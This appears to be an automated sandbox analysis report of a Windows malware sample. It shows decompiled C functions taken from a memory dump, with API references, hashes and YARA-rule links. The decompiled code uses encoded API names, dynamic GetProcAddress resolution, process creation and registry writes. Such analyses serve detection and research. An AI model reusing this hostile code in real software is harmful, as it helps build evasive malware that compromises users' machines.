								_t68 = E04186777(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E04186761();
								}
								HeapFree( *0x418d238, 0, _v44);
							}
							HeapFree( *0x418d238, 0, _t103);
						}
						HeapFree( *0x418d238, 0, _t100);
					}
					HeapFree( *0x418d238, 0, _a24);
				}
				HeapFree( *0x418d238, 0, _t105);
				return _a12;
			}

0x04181f13
0x04181f13
0x04181f13
0x04181f18
0x04181f1e
0x04181f28
0x04181f2a
0x04181f2a
0x04181f37
0x04181f42
0x04181f45
0x04181f50
0x04181f53
0x04181f58
0x04181f5b
0x04181f60
0x04181f63
0x04181f6f
0x04181f7c
0x04181f7e
0x04181f84
0x04181f89
0x04181f94
0x04181f96
0x04181f99
0x04181fa0
0x04181fa4
0x04181fa6
0x04181fab
0x04181fb7
0x04181fb9
0x04181fc5
0x04181fc7
0x04181fc7
0x04181fd2
0x04181fd6
0x04181fd8
0x04181fdd
0x04181fe9
0x04181feb
0x04181ff7
0x04181ff9
0x04181ff9
0x04181fff
0x04182012
0x04182016
0x0418201d
0x04182020
0x04182025
0x04182030
0x04182032
0x04182035
0x04182035
0x04182037
0x0418203e
0x04182041
0x04182046
0x04182050
0x04182052
0x0418205a
0x04182073
0x04182077
0x04182083
0x04182088
0x04182091
0x041820a2
0x041820a6
0x041820af
0x041820b5
0x041820c2
0x041820cf
0x041820d5
0x041820e1
0x041820e7
0x041820e8
0x041820ed
0x041820f3
0x041820f9
0x04182100
0x04182107
0x0418210d
0x04182114
0x04182118
0x04182123
0x04182128
0x0418212e
0x04182137
0x04182137
0x04182148
0x04182148
0x04182157
0x04182157
0x04182166
0x04182166
0x04182178
0x04182178
0x04182187
0x04182198

APIs

GetTickCount.KERNEL32 ref: 04181F2A
wsprintfA.USER32 ref: 04181F77
wsprintfA.USER32 ref: 04181F94
wsprintfA.USER32 ref: 04181FB7
HeapFree.KERNEL32(00000000,00000000), ref: 04181FC7
wsprintfA.USER32 ref: 04181FE9
HeapFree.KERNEL32(00000000,00000000), ref: 04181FF9
wsprintfA.USER32 ref: 04182030
wsprintfA.USER32 ref: 04182050
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0418206D
GetTickCount.KERNEL32 ref: 0418207D
RtlEnterCriticalSection.NTDLL(04B29570), ref: 04182091
RtlLeaveCriticalSection.NTDLL(04B29570), ref: 041820AF

Part of subcall function 04181BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,041820C2,?,04B295B0), ref: 04181BE1
Part of subcall function 04181BB6: lstrlen.KERNEL32(?,?,?,041820C2,?,04B295B0), ref: 04181BE9
Part of subcall function 04181BB6: strcpy.NTDLL ref: 04181C00
Part of subcall function 04181BB6: lstrcat.KERNEL32(00000000,?), ref: 04181C0B
Part of subcall function 04181BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,041820C2,?,04B295B0), ref: 04181C28

StrTrimA.SHLWAPI(00000000,0418C28C,?,04B295B0), ref: 041820E1

Part of subcall function 0418361A: lstrlen.KERNEL32(04B29A78,00000000,00000000,74ECC740,041820ED,00000000), ref: 0418362A
Part of subcall function 0418361A: lstrlen.KERNEL32(?), ref: 04183632
Part of subcall function 0418361A: lstrcpy.KERNEL32(00000000,04B29A78), ref: 04183646
Part of subcall function 0418361A: lstrcat.KERNEL32(00000000,?), ref: 04183651

lstrcpy.KERNEL32(00000000,?), ref: 04182100
lstrcpy.KERNEL32(00000000,00000000), ref: 04182107
lstrcat.KERNEL32(00000000,?), ref: 04182114
lstrcat.KERNEL32(00000000,00000000), ref: 04182118

Part of subcall function 04186777: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 04186829

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04182148
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04182157
HeapFree.KERNEL32(00000000,00000000,?,04B295B0), ref: 04182166
HeapFree.KERNEL32(00000000,00000000), ref: 04182178
HeapFree.KERNEL32(00000000,?), ref: 04182187

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: dcf843df49d92649977779ff602e97c58bca826b85620dfc56064ae183be19cc
Instruction ID: 4188fad4122e2185d9370260aa1e0889510ba8ad5b00fdf8fbc7171e6a24a1c0
Opcode Fuzzy Hash: dcf843df49d92649977779ff602e97c58bca826b85620dfc56064ae183be19cc
Instruction Fuzzy Hash: 68618D71500604AFE721ABA6FC88E5A77E9EB48394F14051CF904D72A0EB39EC85DF65

Uniqueness

Uniqueness Score: -1.00%

Function 04186C38, Relevance: 16.6, APIs: 11, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E04186C38(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				WCHAR* _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				WCHAR* _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				WCHAR* _t91;

				_t79 =  *0x418d33c; // 0x4b29798
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E0418A557(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x418c18c;
				}
				_t46 = E041818A5(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E0418A71F(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x418d2a8; // 0x99a5a8
						_t16 = _t75 + 0x418eb08; // 0x530025
						wsprintfW(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E0418A557(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x418c190;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E0418A71F(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E0418A734(_v20);
						} else {
							_t66 =  *0x418d2a8; // 0x99a5a8
							_t31 = _t66 + 0x418ec28; // 0x73006d
							wsprintfW(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E0418A734(_v12);
				}
				return _v24;
			}

0x04186c40
0x04186c46
0x04186c4d
0x04186c53
0x04186c57
0x04186c5b
0x04186c5e
0x04186c63
0x04186c68
0x04186c6a
0x04186c6a
0x04186c73
0x04186c78
0x04186c7d
0x04186c83
0x04186c8d
0x04186c96
0x04186c9d
0x04186cb6
0x04186cbb
0x04186cc0
0x04186cc9
0x04186cd2
0x04186ce3
0x04186cec
0x04186cf0
0x04186cf4
0x04186cf9
0x04186cfe
0x04186d00
0x04186d00
0x04186d0a
0x04186d13
0x04186d1a
0x04186d32
0x04186d36
0x04186d73
0x04186d38
0x04186d3b
0x04186d43
0x04186d54
0x04186d60
0x04186d68
0x04186d6c
0x04186d6c
0x04186d36
0x04186d7b
0x04186d80
0x04186d87

APIs

GetTickCount.KERNEL32 ref: 04186C4D
lstrlen.KERNEL32(?,80000002,00000005), ref: 04186C8D
lstrlen.KERNEL32(00000000), ref: 04186C96
lstrlen.KERNEL32(00000000), ref: 04186C9D
lstrlenW.KERNEL32(80000002), ref: 04186CAA
wsprintfW.USER32 ref: 04186CE3
lstrlen.KERNEL32(?,00000004), ref: 04186D0A
lstrlen.KERNEL32(?), ref: 04186D13
lstrlen.KERNEL32(?), ref: 04186D1A
lstrlenW.KERNEL32(?), ref: 04186D21
wsprintfW.USER32 ref: 04186D54

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$wsprintf$CountFreeHeapTick
String ID:
API String ID: 822878831-0
Opcode ID: 9dfd430fbd6dccddacc8da8dc5248d048123e0920d62403bfe658d562b5a9f13
Instruction ID: fda5a3109a0bf53c9a3b11e888457e454177c5907121fe5375054c54de073780
Opcode Fuzzy Hash: 9dfd430fbd6dccddacc8da8dc5248d048123e0920d62403bfe658d562b5a9f13
Instruction Fuzzy Hash: 6C418D76C00209FBDF11AFA4DC889DEBBB5EF44358F054059E904AB250DB39EA50EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04188EA1, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E04188EA1(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0418592D(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0418A749( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x418d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x418d2a8; // 0x99a5a8
					_t18 = _t47 + 0x418e3e6; // 0x73797325
					_t68 = E04183C48(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x418d2a8; // 0x99a5a8
						_t19 = _t50 + 0x418e747; // 0x4b28cef
						_t20 = _t50 + 0x418e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E0418A62D();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E0418A62D();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x418d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E0418A734(_t70);
				goto L12;
			}

0x04188ea9
0x04188ea9
0x04188eb8
0x04188ebf
0x04188ec4
0x04188fd1
0x04188fd8
0x04188fd8
0x04188ed3
0x04188edb
0x04188ede
0x04188ee3
0x04188ef8
0x04188efe
0x04188eff
0x04188f02
0x04188f08
0x04188f0b
0x04188f10
0x04188f18
0x04188f24
0x04188f28
0x04188fb8
0x04188f2e
0x04188f2e
0x04188f33
0x04188f3a
0x04188f4e
0x04188f52
0x04188fa1
0x04188f54
0x04188f55
0x04188f5c
0x04188f75
0x04188f77
0x04188f7b
0x04188f82
0x04188f9c
0x04188f84
0x04188f8d
0x04188f92
0x04188f92
0x04188f82
0x04188fb0
0x04188fb0
0x04188f28
0x04188fbf
0x04188fc8
0x04188fcc
0x00000000

APIs

Part of subcall function 0418592D: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04188EBD,?,00000001,?,?,00000000,00000000), ref: 04185952
Part of subcall function 0418592D: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04185974
Part of subcall function 0418592D: GetProcAddress.KERNEL32(00000000,614D775A), ref: 0418598A
Part of subcall function 0418592D: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 041859A0
Part of subcall function 0418592D: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 041859B6
Part of subcall function 0418592D: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 041859CC

memset.NTDLL ref: 04188F0B

Part of subcall function 04183C48: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04188F24,73797325), ref: 04183C59
Part of subcall function 04183C48: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04183C73

GetModuleHandleA.KERNEL32(4E52454B,04B28CEF,73797325), ref: 04188F41
GetProcAddress.KERNEL32(00000000), ref: 04188F48
HeapFree.KERNEL32(00000000,00000000), ref: 04188FB0

Part of subcall function 0418A62D: GetProcAddress.KERNEL32(36776F57,0418A2D4), ref: 0418A648

CloseHandle.KERNEL32(00000000,00000001), ref: 04188F8D
CloseHandle.KERNEL32(?), ref: 04188F92
GetLastError.KERNEL32(00000001), ref: 04188F96

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 9a14e5029171213a5bef8832a4543e9b1fce97447b14de27daf503a9f50e9c26
Instruction ID: c2f3b6f302af86cd0623e23f961416c9d3fac206758410393b575791d30a524c
Opcode Fuzzy Hash: 9a14e5029171213a5bef8832a4543e9b1fce97447b14de27daf503a9f50e9c26
Instruction Fuzzy Hash: C4313BB6900208AFDB10BFA4DCC8D9EBBB9EF08358F104469E605A7151D775AE44DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04181BB6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E04181BB6(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x418d2a8; // 0x99a5a8
				_t1 = _t9 + 0x418e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E0418173D(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E0418A71F(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E041864EF(_t34, _t41, _a8);
						E0418A734(_t41);
						_t42 = E04186467(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E0418A734(_t36);
							_t36 = _t42;
						}
						_t43 = E041817E5(_t36, _t33);
						if(_t43 != 0) {
							E0418A734(_t36);
							_t36 = _t43;
						}
					}
					E0418A734(_t28);
				}
				return _t36;
			}

0x04181bb6
0x04181bb9
0x04181bba
0x04181bc2
0x04181bc9
0x04181bd0
0x04181bd4
0x04181bda
0x04181be1
0x04181be6
0x04181bf8
0x04181bfc
0x04181c00
0x04181c06
0x04181c0b
0x04181c1b
0x04181c1d
0x04181c34
0x04181c38
0x04181c3b
0x04181c40
0x04181c40
0x04181c49
0x04181c4d
0x04181c50
0x04181c55
0x04181c55
0x04181c4d
0x04181c58
0x04181c58
0x04181c63

APIs

Part of subcall function 0418173D: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,04181BD0,253D7325,00000000,00000000,74ECC740,?,?,041820C2,?), ref: 041817A4
Part of subcall function 0418173D: sprintf.NTDLL ref: 041817C5

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,041820C2,?,04B295B0), ref: 04181BE1
lstrlen.KERNEL32(?,?,?,041820C2,?,04B295B0), ref: 04181BE9

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

strcpy.NTDLL ref: 04181C00
lstrcat.KERNEL32(00000000,?), ref: 04181C0B

Part of subcall function 041864EF: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,04181C1A,00000000,?,?,?,041820C2,?,04B295B0), ref: 04186506

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,041820C2,?,04B295B0), ref: 04181C28

Part of subcall function 04186467: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04181C34,00000000,?,?,041820C2,?,04B295B0), ref: 04186471
Part of subcall function 04186467: _snprintf.NTDLL ref: 041864CF

Strings

=, xrefs: 04181C22

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 66fcac8edb3fe2e14b9077bd786ed2bcc004cb02955480fbfed414119e64c05d
Instruction ID: 5716538eb05f026864e034372bd4a987e676c037809a569e024430788352187c
Opcode Fuzzy Hash: 66fcac8edb3fe2e14b9077bd786ed2bcc004cb02955480fbfed414119e64c05d
Instruction Fuzzy Hash: CA11C277501225779712BBB59CC4CAF37ADDF456A8355011EFA049B100DF39EC029FA1

Uniqueness

Uniqueness Score: -1.00%

Function 04186891, Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 04186096: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,04B289D8,041868BF,?,?,?,?,?,?,?,?,?,?,?,041868BF), ref: 04186163

SysAllocString.OLEAUT32(00000000), ref: 041868EB
SysAllocString.OLEAUT32(0070006F), ref: 041868FF
SysAllocString.OLEAUT32(00000000), ref: 04186911
SysFreeString.OLEAUT32(00000000), ref: 04186979
SysFreeString.OLEAUT32(00000000), ref: 04186988
SysFreeString.OLEAUT32(00000000), ref: 04186993

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$QueryServiceUnknown_
String ID:
API String ID: 807496116-0
Opcode ID: 51b53392eec0ddabfc0a56e10a0e484d6f094d8bab765147280f3bc6aace02be
Instruction ID: 9c578ea5e151ee0c62196726ddafc58fb90b61def35a2835f28efb10f33ce728
Opcode Fuzzy Hash: 51b53392eec0ddabfc0a56e10a0e484d6f094d8bab765147280f3bc6aace02be
Instruction Fuzzy Hash: 17417136D00609AFDB01EFB9D844A9EB7BAEF88300F144469E914EB260DB75ED05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0418592D, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0418592D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E0418A71F(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x418d2a8; // 0x99a5a8
					_t1 = _t23 + 0x418e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x418d2a8; // 0x99a5a8
					_t2 = _t26 + 0x418e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E0418A734(_t54);
					} else {
						_t30 =  *0x418d2a8; // 0x99a5a8
						_t5 = _t30 + 0x418e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x418d2a8; // 0x99a5a8
							_t7 = _t33 + 0x418e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x418d2a8; // 0x99a5a8
								_t9 = _t36 + 0x418e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x418d2a8; // 0x99a5a8
									_t11 = _t39 + 0x418e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04186604(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0418593c
0x04185940
0x04185a02
0x04185946
0x04185946
0x0418594b
0x0418595e
0x04185960
0x04185965
0x0418596d
0x04185974
0x04185976
0x0418597b
0x041859fa
0x041859fb
0x0418597d
0x0418597d
0x04185982
0x0418598a
0x0418598c
0x04185991
0x00000000
0x04185993
0x04185993
0x04185998
0x041859a0
0x041859a2
0x041859a7
0x00000000
0x041859a9
0x041859a9
0x041859ae
0x041859b6
0x041859b8
0x041859bd
0x00000000
0x041859bf
0x041859bf
0x041859c4
0x041859cc
0x041859ce
0x041859d3
0x00000000
0x041859d5
0x041859db
0x041859e0
0x041859e7
0x041859ec
0x041859f1
0x00000000
0x041859f3
0x041859f6
0x041859f6
0x041859f1
0x041859d3
0x041859bd
0x041859a7
0x04185991
0x0418597b
0x04185a10

APIs

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04188EBD,?,00000001,?,?,00000000,00000000), ref: 04185952
GetProcAddress.KERNEL32(00000000,7243775A), ref: 04185974
GetProcAddress.KERNEL32(00000000,614D775A), ref: 0418598A
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 041859A0
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 041859B6
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 041859CC

Part of subcall function 04186604: memset.NTDLL ref: 04186683

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 566b88e537ab172199199de3bf2f7c5e5f987d9f15946d58833b1d38bad157c5
Instruction ID: f942f767d7fec27614b6423892c0862e4442955782a6ed48b575c19f4a5be1ab
Opcode Fuzzy Hash: 566b88e537ab172199199de3bf2f7c5e5f987d9f15946d58833b1d38bad157c5
Instruction Fuzzy Hash: B9216BB460070AEFE710EF6AE8C4E5AB7EEEF04364711816EE509C7260E774E9458F60

Uniqueness

Uniqueness Score: -1.00%

Function 0418853F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0418853F(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x418d33c);
					_t91 = 0x80000002;
					L6:
					_t59 = E04189070( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E04186E98(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E0418A734(_a8);
						goto L29;
					}
					_t64 =  *0x418d278; // 0x4b29a98
					_t16 = _t64 + 0xc; // 0x4b29b66
					_t65 = E04189070(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d0418c0
						if(E041822F1(_t97,  *_t33, _t91, _a8,  *0x418d334,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x418d2a8; // 0x99a5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x418ea3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x418e8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E04186C38(_t69,  *0x418d334,  *0x418d338,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x418d2a8; // 0x99a5a8
									_t44 = _t71 + 0x418e846; // 0x74666f53
									_t73 = E04189070(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d0418c0
										E04185D7D( *_t47, _t91, _a8,  *0x418d338, _a24);
										_t49 = _t101 + 0x10; // 0x3d0418c0
										E04185D7D( *_t49, _t91, _t99,  *0x418d330, _a16);
										E0418A734(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d0418c0
									E04185D7D( *_t40, _t91, _a8,  *0x418d338, _a24);
									_t43 = _t101 + 0x10; // 0x3d0418c0
									E04185D7D( *_t43, _t91, _a8,  *0x418d330, _a16);
								}
								if( *_t101 != 0) {
									E0418A734(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d0418c0
					_t81 = E04188BC1( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d0418c0
							E041822F1(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E0418A734(_t100);
						_t98 = _a16;
					}
					E0418A734(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E0418A749(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x418d33c);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}
